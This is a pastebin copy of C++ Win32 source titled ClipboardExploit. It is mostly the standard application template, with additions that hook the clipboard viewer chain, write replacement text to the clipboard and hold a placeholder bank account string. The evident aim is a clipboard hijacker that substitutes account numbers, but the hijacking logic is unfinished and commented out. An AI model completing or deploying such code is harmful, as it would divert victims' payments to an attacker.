Facebook
From Harmless Lion, 4 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 125
  1. // ClipboardExploit.cpp : Defines the entry point for the application.
  2. //
  3.  
  4. #include "framework.h"
  5. #include "ClipboardExploit.h"
  6. #include <string>
  7.  
  8. #define MAX_LOADSTRING 100
  9.  
  10. // Global Variables:
  11. HINSTANCE hInst;                                // current instance
  12. WCHAR szTitle[MAX_LOADSTRING];                  // The title bar text
  13. WCHAR szWindowClass[MAX_LOADSTRING];            // the main window class name
  14.  
  15. // Forward declarations of functions included in this code module:
  16. ATOM                MyRegisterClass(HINSTANCE hInstance);
  17. BOOL                InitInstance(HINSTANCE, int);
  18. LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
  19. INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
  20.  
  21. int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
  22.                      _In_opt_ HINSTANCE hPrevInstance,
  23.                      _In_ LPWSTR    lpCmdLine,
  24.                      _In_ int       nCmdShow)
  25. {
  26.     UNREFERENCED_PARAMETER(hPrevInstance);
  27.     UNREFERENCED_PARAMETER(lpCmdLine);
  28.  
  29.     // TODO: Place code here.
  30.  
  31.     // Initialize global strings
  32.     LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
  33.     LoadStringW(hInstance, IDC_CLIPBOARDEXPLOIT, szWindowClass, MAX_LOADSTRING);
  34.     MyRegisterClass(hInstance);
  35.  
  36.     // Perform application initialization:
  37.     if (!InitInstance (hInstance, nCmdShow))
  38.     {
  39.         return FALSE;
  40.     }
  41.  
  42.     HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_CLIPBOARDEXPLOIT));
  43.  
  44.     MSG msg;
  45.  
  46.     // Main message loop:
  47.     while (GetMessage(&msg, nullptr, 0, 0))
  48.     {
  49.         if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
  50.         {
  51.             TranslateMessage(&msg);
  52.             DispatchMessage(&msg);
  53.         }
  54.     }
  55.  
  56.     return (int) msg.wParam;
  57. }
  58.  
  59.  
  60. void toClipboard(const std::string& s) {
  61.     OpenClipboard(0);
  62.     EmptyClipboard();
  63.     HGLOBAL hg = GlobalAlloc(GMEM_MOVEABLE, s.size());
  64.     if (!hg) {
  65.         CloseClipboard();
  66.         return;
  67.     }
  68.     memcpy(GlobalLock(hg), s.c_str(), s.size());
  69.     GlobalUnlock(hg);
  70.     SetClipboardData(CF_TEXT, hg);
  71.     CloseClipboard();
  72.     GlobalFree(hg);
  73. }
  74.  
  75.  
  76. //
  77. //  FUNCTION: MyRegisterClass()
  78. //
  79. //  PURPOSE: Registers the window class.
  80. //
  81. ATOM MyRegisterClass(HINSTANCE hInstance)
  82. {
  83.     WNDCLASSEXW wcex;
  84.  
  85.     wcex.cbSize = sizeof(WNDCLASSEX);
  86.  
  87.     wcex.style          = CS_HREDRAW | CS_VREDRAW;
  88.     wcex.lpfnWndProc    = WndProc;
  89.     wcex.cbClsExtra     = 0;
  90.     wcex.cbWndExtra     = 0;
  91.     wcex.hInstance      = hInstance;
  92.     wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_CLIPBOARDEXPLOIT));
  93.     wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
  94.     wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
  95.     wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_CLIPBOARDEXPLOIT);
  96.     wcex.lpszClassName  = szWindowClass;
  97.     wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
  98.  
  99.     return RegisterClassExW(&wcex);
  100. }
  101.  
  102. //
  103. //   FUNCTION: InitInstance(HINSTANCE, int)
  104. //
  105. //   PURPOSE: Saves instance handle and creates main window
  106. //
  107. //   COMMENTS:
  108. //
  109. //        In this function, we save the instance handle in a global variable and
  110. //        create and display the main program window.
  111. //
  112. BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
  113. {
  114.    hInst = hInstance; // Store instance handle in our global variable
  115.  
  116.    HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
  117.       CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
  118.  
  119.    if (!hWnd)
  120.    {
  121.       return FALSE;
  122.    }
  123.  
  124.    ShowWindow(hWnd, nCmdShow);
  125.    UpdateWindow(hWnd);
  126.  
  127.    return TRUE;
  128. }
  129.  
  130. //
  131. //  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
  132. //
  133. //  PURPOSE: Processes messages for the main window.
  134. //
  135. //  WM_COMMAND  - process the application menu
  136. //  WM_PAINT    - Paint the main window
  137. //  WM_DESTROY  - post a quit message and return
  138. //
  139. //
  140. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  141. {
  142.     static HWND hwndNextViewer;
  143.     const char* myAccount = "00 0000 0000 0000 0000 0000 0000 0000 0000";
  144.     switch (message)
  145.     {
  146.     case WM_COMMAND:
  147.         {
  148.             int wmId = LOWORD(wParam);
  149.             // Parse the menu selections:
  150.             switch (wmId)
  151.             {
  152.             case IDM_ABOUT:
  153.                 DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
  154.                 break;
  155.             case IDM_EXIT:
  156.                 DestroyWindow(hWnd);
  157.                 break;
  158.            
  159.             default:
  160.                 return DefWindowProc(hWnd, message, wParam, lParam);
  161.             }
  162.         }
  163.         break;
  164.     case WM_CREATE:
  165.         // Add the window to the clipboard viewer chain.
  166.         hwndNextViewer = SetClipboardViewer(hWnd);
  167.         return 0;
  168.     case WM_DRAWCLIPBOARD:
  169.         if (hwndNextViewer)
  170.             SendMessage(hwndNextViewer, message, wParam, lParam);
  171.  
  172.         InvalidateRect(hWnd, NULL, TRUE);
  173.         return 0;
  174.     case WM_CHANGECBCHAIN:
  175.         if ((HWND)wParam == hwndNextViewer)
  176.             hwndNextViewer = (HWND)lParam;
  177.  
  178.         else if (hwndNextViewer)
  179.             SendMessage(hwndNextViewer, message, wParam, lParam);
  180.         return 0;
  181.     case WM_PAINT:
  182.         {
  183.             PAINTSTRUCT ps;
  184.             HDC hdc = BeginPaint(hWnd, &ps);
  185.           //  GetClientRect(hWnd, &Rect);
  186.             OpenClipboard(hWnd);
  187.            // HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, s.size());
  188.             //hMem = GetClipboardData(...);
  189.          //   if (hMem != NULL)
  190.           /////  {
  191.                 /* uaktualnij okno aplikacji na podstawie zawartosci obszaru
  192.                 pamieci wskazywanego przez hMem */
  193.             //    ...
  194.           //  }
  195.             CloseClipboard();
  196.             EndPaint(hWnd, &ps);
  197.             return 0;
  198.  
  199.            
  200.             // TODO: Add any drawing code that uses hdc here...
  201.            // EndPaint(hWnd, &ps);
  202.         }
  203.         break;
  204.     case WM_DESTROY:
  205.         ChangeClipboardChain(hWnd, hwndNextViewer);
  206.         PostQuitMessage(0);
  207.         break;
  208.     default:
  209.         return DefWindowProc(hWnd, message, wParam, lParam);
  210.     }
  211.     return 0;
  212. }
  213.  
  214. // Message handler for about box.
  215. INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
  216. {
  217.     UNREFERENCED_PARAMETER(lParam);
  218.     switch (message)
  219.     {
  220.     case WM_INITDIALOG:
  221.         return (INT_PTR)TRUE;
  222.  
  223.     case WM_COMMAND:
  224.         if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
  225.         {
  226.             EndDialog(hDlg, LOWORD(wParam));
  227.             return (INT_PTR)TRUE;
  228.         }
  229.         break;
  230.     }
  231.     return (INT_PTR)FALSE;
  232. }
  233.